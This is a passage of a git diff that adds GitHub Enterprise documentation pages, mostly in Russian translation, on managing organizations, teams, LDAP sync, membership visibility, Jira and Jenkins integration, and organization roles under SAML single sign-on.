+redirect_from: + - /enterprise/admin/developer-workflow + - /enterprise/admin/policies +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /enforcing-policies-for-your-enterprise + - /enforcing-policy-with-pre-receive-hooks +shortTitle: Set policies +ms.openlocfilehash: 6fae4d9a9aa9c137be114b51eb90d79eb16d71df +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109117' +--- + diff --git a/translations/ru-RU/content/admin/release-notes.md b/translations/ru-RU/content/admin/release-notes.md new file mode 100644 index 000000000000..d854fe074064 --- /dev/null +++ b/translations/ru-RU/content/admin/release-notes.md @@ -0,0 +1,19 @@ +--- +title: Заметки о выпуске +layout: release-notes +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise + - Upgrades +redirect_from: + - /admin/overview/github-ae-release-notes +ms.openlocfilehash: 9467958cbc1812c9f7f3ba333f41dfad5bbae5c6 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116360' +--- + diff --git a/translations/ru-RU/content/admin/user-management/index.md b/translations/ru-RU/content/admin/user-management/index.md new file mode 100644 index 000000000000..92ad35679de2 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/index.md @@ -0,0 +1,29 @@ +--- +title: 'Управление пользователями, организациями и репозиториями' +shortTitle: 'Manage users, organizations, and repositories' +intro: 'В этом руководстве описаны методы проверки подлинности для пользователей, которые выполняют вход в организацию, способы создания организаций и команд для доступа к репозиторию и совместной работы, а также рекомендации по обеспечению безопасности пользователей.' +redirect_from: + - /enterprise/admin/categories/user-management + - /enterprise/admin/developer-workflow/using-webhooks-for-continuous-integration + - /enterprise/admin/migrations + - /enterprise/admin/clustering + - /enterprise/admin/user-management +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /managing-users-in-your-enterprise + - /managing-organizations-in-your-enterprise + - /managing-repositories-in-your-enterprise + - /migrating-data-to-and-from-your-enterprise +ms.openlocfilehash: 2ef2c71037a4aef92aa3b3946813993b06b44786 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145115195' +--- + diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md new file mode 100644 index 000000000000..0234351ad905 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md @@ -0,0 +1,97 @@ +--- +title: Добавление организаций в предприятие +intro: 'Вы можете добавить организации для управления на предприятии, создав новую организацию, пригласив существующую организацию или передав организацию из другой корпоративной учетной записи.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account + - /articles/adding-organizations-to-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/adding-organizations-to-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/adding-organizations-to-your-enterprise-account +versions: + ghec: '*' +type: how_to +topics: + - Administrator + - Enterprise + - Organizations +shortTitle: Add organizations +permissions: Enterprise owners can add organizations to an enterprise. +ms.openlocfilehash: 7b5627eb89e7e5356716a9cd2a9dfe03fd455270 +ms.sourcegitcommit: e98b752895109965b32cb277610985da5799f8a1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: '148127622' +--- +## Сведения о добавлении организаций в корпоративную учетную запись + +Ваша корпоративная учетная запись может владеть организациями. Члены предприятия могут совместно работать над связанными проектами в организации. Дополнительные сведения см. в статье "[Сведения об организациях](/organizations/collaborating-with-groups-in-organizations/about-organizations)". + +В корпоративную учетную запись можно добавлять новые организации. Если вы не используете {% data variables.product.prodname_emus %}, вы можете добавить существующие организации на {% data variables.location.product_location %} в ваше предприятие. Нельзя добавить существующую организацию из {% data variables.enterprise.prodname_emu_enterprise %} в другое предприятие. + +{% data reusables.enterprise.create-an-enterprise-account %} Дополнительные сведения см. в статье "[Создание корпоративной учетной записи](/admin/overview/creating-an-enterprise-account)". + +После добавления существующей организации в предприятие ее ресурсы останутся доступными членам организации по тем же URL-адресам, но будут применены следующие изменения. + +- Члены организации станут членами предприятия, и {% data variables.product.company_short %} будет выставлять счета корпоративной учетной записи за использование организации. Необходимо убедиться, что у корпоративной учетной записи имеется достаточно лицензий для размещения новых членов. Дополнительные сведения см. в разделе [О выставлении счетов для вашего предприятия](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise). +- Владельцы предприятия могут управлять своей ролью в организации. Дополнительные сведения см. в статье [Управление ролью в организации, принадлежащей предприятию](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). +- Любые политики, применяемые к предприятию, будут применяться к организации. Дополнительные сведения см. в статье "[Сведения о политиках предприятия](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies)". +- Если для корпоративной учетной записи настроен единый вход SAML, конфигурация SAML предприятия будет применяться к организации. Если в организации использовался единый вход SAML, конфигурация корпоративной учетной записи заменит конфигурацию организации. В корпоративных учетных записях не поддерживается SCIM, поэтому SCIM будет отключен для организации. Дополнительные сведения см. в статьях "[Настройка единого входа SAML для предприятия](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise)" и "[Переключение конфигурации SAML из организации в корпоративную учетную запись](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)". +- Если для организации был настроен единый вход SAML, существующие {% data variables.product.pat_generic %} или ключи SSH, которые были авторизованы для доступа к ресурсам организации, будут авторизованы для доступа к тем же ресурсам. Чтобы получить доступ к дополнительным организациям, принадлежащим предприятию, участники должны авторизовать {% data variables.product.pat_generic %} или ключ. Дополнительные сведения см. в разделах [Авторизация {% data variables.product.pat_generic %} для единого входа SAML](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) и [Авторизация ключа SSH для использования с единым входом SAML](/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on). +- Если организация была подключена к {% data variables.product.prodname_ghe_server %} или {% data variables.product.prodname_ghe_managed %} с помощью {% data variables.product.prodname_github_connect %}, при добавлении организации в предприятие подключение не обновится. Возможности {% data variables.product.prodname_github_connect %} больше не будут работать в организации. Чтобы продолжить использование {% data variables.product.prodname_github_connect %}, необходимо отключить и повторно подключить эту возможность. Дополнительные сведения см. в следующих руководствах. + + - [Управление {% data variables.product.prodname_github_connect %}](/enterprise-server@latest/admin/configuration/configuring-github-connect/managing-github-connect) в документации {% data variables.product.prodname_ghe_server %} + - [Управление {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/managing-github-connect) в документации {% data variables.product.prodname_ghe_managed %} +- Если в организации использовались приложения с выставлением счетов в {% data variables.product.prodname_marketplace %}, она может продолжить их использовать, но производить оплату необходимо напрямую поставщику. Чтобы получить дополнительные сведения, обратитесь к поставщику приложения. +- Все купоны будут удалены из организации. Чтобы повторно применить купон, [обратитесь в нашу группу продаж](https://github.com/enterprise/contact). + +## Создание организации в корпоративной учетной записи + +Новые организации, создаваемые в параметрах корпоративной учетной записи, включаются в подписку {% data variables.product.prodname_ghe_cloud %} вашей корпоративной учетной записи. + +Владельцы предприятия, создающие организацию, принадлежащую корпоративной учетной записи, автоматически становятся владельцами организации. Дополнительные сведения о владельцах организации см. в статье "[Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". + +{% data reusables.enterprise-accounts.access-enterprise %} +2. На вкладке **Организации** над списком организаций нажмите кнопку **Создать организацию**. + ![Кнопка "Создать организацию"](/assets/images/help/business-accounts/enterprise-account-add-org.png) +3. В поле "Имя организации" введите имя вашей организации. + ![Поле для ввода имени новой организации](/assets/images/help/business-accounts/new-organization-name-field.png) +4. Щелкните **Создать организацию**. +5. В поле "Пригласить владельцев" введите имя пользователя, которого вы хотите пригласить, чтобы он стал владельцем организации, а затем нажмите кнопку **Пригласить**. + ![Поле поиска владельца организации и кнопка "Пригласить"](/assets/images/help/business-accounts/invite-org-owner.png) +6. Нажмите кнопку **Готово**. + +## Приглашение организации присоединиться к корпоративной учетной записи + +Владельцы предприятия могут пригласить существующие организации присоединиться к их корпоративным учетным записям. Если организация, которую вы хотите пригласить, уже принадлежит другой корпоративной учетной записи, вы должны быть владельцем обеих корпоративных учетных записей, или предыдущее предприятие должно сначала отказаться от владения организацией. Дополнительные сведения см. в разделе "[Удаление организации из предприятия](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)". + +{% data reusables.enterprise-accounts.access-enterprise %} +1. На вкладке **Организации** над списком организаций нажмите кнопку **Пригласить организацию**. +![Кнопка "Пригласить организацию"](/assets/images/help/business-accounts/enterprise-account-invite-organization.png) +3. В разделе "Название организации" начните вводить название организации, которую вы хотите пригласить, и выберите его, когда оно появится в раскрывающемся списке. +![Поиск организации](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png) +4. Нажмите кнопку **Пригласить организацию**. +5. Владельцы организации получат электронное письмо с приглашением присоединиться к предприятию. Прежде чем процесс может быть продолжен, по крайней мере один владелец должен принять приглашение. Вы можете отменить или повторно отправить приглашение в любое время, прежде чем владелец утвердит его. +![Отмена или повторная отправка](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png) +6. После того, как владелец организации утвердит приглашение, вы можете просмотреть его состояние в списке ожидающих приглашений. +![Ожидающие приглашение](/assets/images/help/business-accounts/enterprise-account-pending.png) +7. Чтобы завершить передачу, нажмите кнопку **Утвердить**. +![Утверждение приглашения](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png) + +## Перенос организации между корпоративными учетными записями + +Владельцы предприятий могут передавать существующие организации между корпоративными учетными записями. Вы должны быть корпоративным владельцем обеих корпоративных учетных записей. + +{% note %} + +**Примечание:** Вы не можете перенести существующую организацию в {% data variables.enterprise.prodname_emu_enterprise %}или из нее. + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +1. Рядом с организацией, которую вы хотите перенести, выберите раскрывающийся список {% octicon "gear" width="16" aria-label="Gear" %}, а затем щелкните **Перенести организацию**. +![Снимок экрана: кнопка передачи](/assets/images/help/business-accounts/org-transfer-button.png) +1. Выберите раскрывающееся меню **Выбрать предприятие** , начните вводить имя целевого предприятия и выберите предприятие, когда оно появится в раскрывающемся списке. +![Снимок экрана: раскрывающийся список "Предприятие"](/assets/images/help/business-accounts/org-transfer-select-enterprise.png) +2. Нажмите **кнопку Проверить передачу**. +3. Чтобы подтвердить передачу, щелкните **Перенести организацию**. +![Снимок экрана: кнопка "Организация передачи"](/assets/images/help/business-accounts/org-transfer-confirm-button.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md new file mode 100644 index 000000000000..d4be251522b2 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md @@ -0,0 +1,41 @@ +--- +title: Adding people to teams +redirect_from: + - /enterprise/admin/articles/adding-teams + - /enterprise/admin/articles/adding-or-inviting-people-to-teams + - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams + - /enterprise/admin/user-management/adding-people-to-teams + - /admin/user-management/adding-people-to-teams +intro: 'Once a team has been created, organization admins can add users from {% data variables.location.product_location %} to the team and determine which repositories they have access to.' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Access management + - Enterprise + - Teams + - User account +--- +Each team has its own individually defined [access permissions for repositories owned by your organization](/articles/permission-levels-for-an-organization). + +- Members with the owner role can add or remove existing organization members from all teams. +- Members of teams that give admin permissions can only modify team membership and repositories for that team. + +## Setting up a team + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.invite_to_team %} +{% data reusables.organizations.review-team-repository-access %} + +{% ifversion ghes %} + +## Mapping teams to LDAP groups (for instances using LDAP Sync for user authentication) + +{% data reusables.enterprise_management_console.badge_indicator %} + +To add a new member to a team synced to an LDAP group, add the user as a member of the LDAP group, or contact your LDAP administrator. + +{% endif %} diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md new file mode 100644 index 000000000000..af0f4b8dd744 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md @@ -0,0 +1,31 @@ +--- +title: Настройка видимости для членства в организации +intro: Можно задать видимость для новых участников организации в корпоративной среде как "Общедоступная" или "Частная". Вы также можете запретить членам изменять видимость по умолчанию. +redirect_from: + - /enterprise/admin/user-management/configuring-visibility-for-organization-membership + - /admin/user-management/configuring-visibility-for-organization-membership +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Organizations + - User account +shortTitle: Set membership visibility +ms.openlocfilehash: e628fab4f8aa77579e0ce89f18a70813274928b6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332347' +--- +{% ifversion ghes %} Применить параметр по умолчанию ко всем текущим членам организации в экземпляре можно также с помощью программы командной строки. Например, если требуется, чтобы видимость каждого члена организации была общедоступной, в настройках администрирования в качестве значения параметра по умолчанию можно задать "Общедоступная" и применять этот параметр по умолчанию ко всем новым членам, а затем использовать программу командной строки для принудительного применения этого параметра к существующим членам. +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} +3. В разделе "Видимость членства в организации по умолчанию" в раскрывающемся меню выберите вариант **Частная** или **Общедоступная**. + ![Раскрывающееся меню с параметром настройки видимости членства в организации по умолчанию: общедоступная или частная](/assets/images/enterprise/site-admin-settings/default-organization-membership-visibility-drop-down-menu.png) +4. Чтобы запретить членам изменять видимость членства на отличную от заданной по умолчанию, установите флажок **Применить к членам организации**. + ![Флажок для применения параметра по умолчанию ко всем членам](/assets/images/enterprise/site-admin-settings/enforce-default-org-membership-visibility-setting.png) {% ifversion ghes %} +5. Чтобы применить новый параметр видимости ко всем существующим членам, воспользуйтесь программой командной строки `ghe-org-membership-update`. Дополнительные сведения см. в статье "[Программы командной строки](/enterprise/admin/guides/installation/command-line-utilities#ghe-org-membership-update)".{% endif %} diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md new file mode 100644 index 000000000000..859fe38bc47f --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md @@ -0,0 +1,19 @@ +--- +title: Continuous integration using Jenkins +intro: 'You can automatically trigger build jobs on a Jenkins server when pushes are made to a repository in {% data variables.location.product_location %}.' +redirect_from: + - /enterprise/admin/developer-workflow/continuous-integration-using-jenkins + - /enterprise/admin/user-management/continuous-integration-using-jenkins + - /admin/user-management/continuous-integration-using-jenkins +versions: + ghes: '*' + ghae: '*' +type: reference +topics: + - CI + - Enterprise +shortTitle: CI using Jenkins +--- +## Requirements + +- Follow our white paper "[Practical guide to CI with Jenkins and GitHub](https://resources.github.com/whitepapers/practical-guide-to-CI-with-Jenkins-and-GitHub/)" to get step by step instructions on how you can automatically trigger build jobs on a Jenkins server when pushes are made to a repository in {% data variables.location.product_location %}. diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md new file mode 100644 index 000000000000..d87b91370c37 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md @@ -0,0 +1,67 @@ +--- +title: Creating teams +intro: 'Teams give organizations the ability to create groups of members and control access to repositories. Team members can be granted read, write, or admin permissions to specific repositories.' +redirect_from: + - /enterprise/admin/user-management/creating-teams + - /admin/user-management/creating-teams +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Access management + - Enterprise + - Teams + - User account +--- +Teams are central to many of {% data variables.product.prodname_dotcom %}'s collaborative features, such as team @mentions to notify appropriate parties that you'd like to request their input or attention. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + +A team can represent a group within your company or include people with certain interests or expertise. For example, a team of accessibility experts on {% data variables.location.product_location %} could comprise of people from several different departments. Teams can represent functional concerns that complement a company's existing divisional hierarchy. + +Organizations can create multiple levels of nested teams to reflect a company or group's hierarchy structure. For more information, see "[About teams](/enterprise/user/articles/about-teams/#nested-teams)." + +## Creating a team + +A prudent combination of teams is a powerful way to control repository access. For example, if your organization allows only your release engineering team to push code to the default branch of any repository, you could give only the release engineering team **admin** permissions to your organization's repositories and give all other teams **read** permissions. + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.new_team %} +{% data reusables.organizations.team_name %} +{% data reusables.organizations.team_description %} +{% data reusables.organizations.team_visibility %} +{% data reusables.organizations.create-team-choose-parent %} +{% data reusables.organizations.create_team %} + +{% ifversion ghes %} + +## Creating teams with LDAP Sync enabled + +Instances using LDAP for user authentication can use LDAP Sync to manage a team's members. Setting the group's **Distinguished Name** (DN) in the **LDAP group** field will map a team to an LDAP group on your LDAP server. If you use LDAP Sync to manage a team's members, you won't be able to manage your team within {% data variables.location.product_location %}. The mapped team will sync its members in the background and periodically at the interval configured when LDAP Sync is enabled. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." + +You must be a site admin and an organization owner to create a team with LDAP sync enabled. + +{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} + +{% warning %} + +**Notes:** +- LDAP Sync only manages the team's member list. You must manage the team's repositories and permissions from within {% data variables.product.prodname_ghe_server %}. +- If an LDAP group mapping to a DN is removed, such as if the LDAP group is deleted, then every member is removed from the synced {% data variables.product.prodname_ghe_server %} team. To fix this, map the team to a new DN, add the team members back, and [manually sync the mapping](/enterprise/admin/authentication/using-ldap#manually-syncing-ldap-accounts). +- When LDAP Sync is enabled, if a person is removed from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync. + +{% endwarning %} + +1. Ensure that [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync). +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.new_team %} +{% data reusables.organizations.team_name %} +6. Search for an LDAP group's DN to map the team to. If you don't know the DN, type the LDAP group's name. {% data variables.product.prodname_ghe_server %} will search for and autocomplete any matches. +![Mapping to the LDAP group DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) +{% data reusables.organizations.team_description %} +{% data reusables.organizations.team_visibility %} +{% data reusables.organizations.create-team-choose-parent %} +{% data reusables.organizations.create_team %} + +{% endif %} diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/index.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/index.md new file mode 100644 index 000000000000..1245890f82a9 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/index.md @@ -0,0 +1,43 @@ +--- +title: Управление организациями на предприятии +redirect_from: + - /enterprise/admin/articles/adding-users-and-teams + - /enterprise/admin/categories/admin-bootcamp + - /enterprise/admin/user-management/organizations-and-teams + - /enterprise/admin/user-management/managing-organizations-in-your-enterprise + - /articles/managing-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/managing-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account + - /admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise + - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/managing-unowned-organizations-in-your-enterprise-account +intro: 'Вы можете использовать организации для группирования пользователей в компании, таких как подразделения или группы, работающие над аналогичными проектами, и управления доступом к репозиториям.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /adding-organizations-to-your-enterprise + - /configuring-visibility-for-organization-membership + - /preventing-users-from-creating-organizations + - /requiring-two-factor-authentication-for-an-organization + - /creating-teams + - /adding-people-to-teams + - /managing-your-role-in-an-organization-owned-by-your-enterprise + - /removing-users-from-teams-and-organizations + - /removing-organizations-from-your-enterprise + - /restoring-a-deleted-organization + - /managing-projects-using-jira + - /continuous-integration-using-jenkins +shortTitle: Manage organizations +ms.openlocfilehash: e2fade6385a690d1ca91b587f2d7ca3e081bd23b +ms.sourcegitcommit: e98b752895109965b32cb277610985da5799f8a1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: '148127614' +--- + diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md new file mode 100644 index 000000000000..1eba12c62f82 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md @@ -0,0 +1,76 @@ +--- +title: Управление проектами с помощью Jira +intro: 'Jira можно интегрировать с {% data variables.product.product_name %} для управления проектами.' +redirect_from: + - /enterprise/admin/guides/installation/project-management-using-jira + - /enterprise/admin/articles/project-management-using-jira + - /enterprise/admin/developer-workflow/managing-projects-using-jira + - /enterprise/admin/developer-workflow/customizing-your-instance-with-integrations + - /enterprise/admin/user-management/managing-projects-using-jira + - /admin/user-management/managing-projects-using-jira +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Project management +shortTitle: Project management with Jira +ms.openlocfilehash: da1a02894bf8c916089de94a8642396ba7ceabe4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145115144' +--- +## Подключение Jira к организации {% data variables.product.prodname_enterprise %} + +1. Войдите в учетную запись {% data variables.product.prodname_enterprise %} по адресу http[s]://[имя_узла]/login. Если вход уже выполнен, щелкните логотип {% data variables.product.prodname_dotcom %} в левом верхнем углу. +2. Щелкните значок профиля под логотипом {% data variables.product.prodname_dotcom %} и выберите организацию, к которой нужно подключить Jira. + + ![Выбор организации](/assets/images/enterprise/orgs-and-teams/profile-select-organization.png) + +3. Щелкните ссылку **Изменить параметры _имя организации_**. + + ![Изменение параметров организации](/assets/images/enterprise/orgs-and-teams/edit-organization-settings.png) + +4. На левой боковой панели в разделе **Параметры разработки** щелкните **Приложения OAuth**. + + ![Выбор приложений OAuth](/assets/images/enterprise/orgs-and-teams/organization-dev-settings-oauth-apps.png) + +5. Нажмите кнопку **Зарегистрировать новое приложение**. + + ![Кнопка "Зарегистрировать новое приложение"](/assets/images/enterprise/orgs-and-teams/register-oauth-application-button.png) + +6. Задайте значения параметрам: + - В поле **Имя приложения** введите "Jira" или любое имя, которое вы хотите использовать для идентификации экземпляра Jira. + - В поле **URL-адрес домашней страницы** введите полный URL-адрес экземпляра Jira. + - В поле **URL-адрес обратного вызова авторизации** введите полный URL-адрес экземпляра Jira. +7. Нажмите кнопку **Зарегистрировать приложение**. +8. Запомните отображаемые в верхней части страницы **идентификатор клиента** и **секрет клиента**. Они понадобятся для настройки экземпляра Jira. + +## Настройка экземпляра Jira + +1. В экземпляре Jira войдите в учетную запись с правами администратора. +2. В верхней части страницы щелкните значок параметров (шестеренка) и выберите **Приложения**. + + ![Выбор приложений в параметрах Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-applications.png) + +3. На левой боковой панели в разделе **Интеграции** щелкните **Учетные записи DVCS**. + + ![Меню интеграций Jira — учетные записи DVCS](/assets/images/enterprise/orgs-and-teams/jira/jira-integrations-dvcs.png) + +4. Щелкните **Связать учетную запись Bitbucket Cloud или {% data variables.product.prodname_dotcom %}** . + + ![Связывание учетной записи GitHub с Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-link-github-account.png) + +5. В модальном окне **Добавление новой учетной записи** задайте значения параметрам {% data variables.product.prodname_enterprise %}: + - В раскрывающемся меню **Узел** выберите **{% data variables.product.prodname_enterprise %}** . + - В поле **Команда или учетная запись пользователя** введите имя вашей организации {% data variables.product.prodname_enterprise %} или личной учетной записи. + - В поле **Ключ OAuth** введите идентификатор клиента приложения разработчика {% data variables.product.prodname_enterprise %}. + - В поле **Секрет OAuth** введите секрет клиента приложения разработчика {% data variables.product.prodname_enterprise %}. + - Если вы не хотите связывать новые репозитории, принадлежащие вашей организации {% data variables.product.prodname_enterprise %} или учетной записи пользователя, снимите флажок **Автоматически связывать новые репозитории**. + - Если вы не хотите включать смарт-фиксации, снимите флажок **Включить смарт-фиксации**. + - Нажмите кнопку **Добавить**. +6. Просмотрите разрешения, которые вы предоставляете учетной записи {% data variables.product.prodname_enterprise %}, и щелкните **Авторизовать приложение**. +7. При необходимости введите пароль для продолжения. diff --git a/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md new file mode 100644 index 000000000000..4abd70ee18ec --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md @@ -0,0 +1,63 @@ +--- +title: 'Управление ролью в организации, принадлежащей предприятию' +intro: 'Вы можете управлять членством в любой организации, принадлежащей вашему предприятию, и изменять свою роль в ней.' +permissions: Enterprise owners can manage their role in an organization owned by the enterprise. +versions: + feature: enterprise-owner-join-org +type: how_to +topics: + - Administrator + - Enterprise + - Organizations +shortTitle: Manage your organization roles +ms.openlocfilehash: e7a95602fe103dcbccb80bc2dfec6a67f8b4b312 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884240' +--- +## Сведения об управлении ролями + +Вы можете присоединиться к организации, принадлежащей предприятию, в качестве члена или владельца организации, изменить свою роль в организации или покинуть организацию. + +{% ifversion ghec %} {% warning %} + +**Предупреждение.** Если организация использует SCIM для подготовки пользователей, присоединение к организации таким образом может иметь непредвиденные последствия. Дополнительные сведения см. в статье «[Сведения о SCIM для организаций](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)». + +{% endwarning %} {% endif %} + +Сведения об управлении ролями других пользователей в организации см. в разделе «[Управление членством в организации](/organizations/managing-membership-in-your-organization)» и «[Управление доступом пользователей к вашей организации с помощью ролей](/organizations/managing-peoples-access-to-your-organization-with-roles)». + +## Управление ролью с помощью параметров предприятия + +Вы можете присоединиться к организации, принадлежащей предприятию, и управлять своей ролью в организации непосредственно из параметров учетной записи предприятия. + +{% ifversion ghec %} + +Если организация применяет единый вход SAML (SSO), вы не сможете использовать параметры предприятия для присоединения к организации. Вместо этого необходимо присоединиться к организации с помощью ее поставщика удостоверений (IdP). Затем вы можете управлять своей ролью в параметрах предприятия. Дополнительные сведения см. в разделе "[Присоединение к организации, которая применяет единый вход SAML](#joining-an-organization-that-enforces-saml-sso)". + +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} +1. На вкладке **Организации** справа от организации, в которой вы хотите управлять ролью, щелкните раскрывающееся меню {% octicon "gear" aria-label="The gear icon" %} и выберите нужное действие. + + ![Снимок экрана: раскрывающееся меню со значком шестеренки для организации](/assets/images/help/business-accounts/change-role-in-org.png) + +{% ifversion ghec %} + +## Присоединение к организации, которая применяет единый вход SAML + +Если организация применяет единый вход SAML, вы не сможете использовать параметры предприятия для присоединения к организации. Вместо этого необходимо присоединиться к организации с помощью ее поставщика удостоверений (IdP). + +1. Вам должен быть назначен доступ в IdP к приложению для {% data variables.product.prodname_ghe_cloud %}, используемому организацией. Если вы не можете настроить IdP самостоятельно, обратитесь к администратору IdP. +1. Пройдите проверку подлинности в организации с помощью единого входа SAML. + + - Если организация использует SCIM, примите приглашение организации, которое будет создано интеграцией SCIM. + - Если организация не использует SCIM, перейдите по следующему URL-адресу, заменив ORGANIZATION именем организации, а затем следуйте инструкциям по проверке подлинности. + + `https://github.com/orgs/ORGANIZATION/sso` + +После присоединения к организации можно использовать параметры предприятия для управления ролью в организации, чтобы, например, стать владельцем организации. Дополнительные сведения см. в разделе "[Управление ролью с помощью параметров предприятия](#managing-your-role-with-the-enterprise-settings)". + 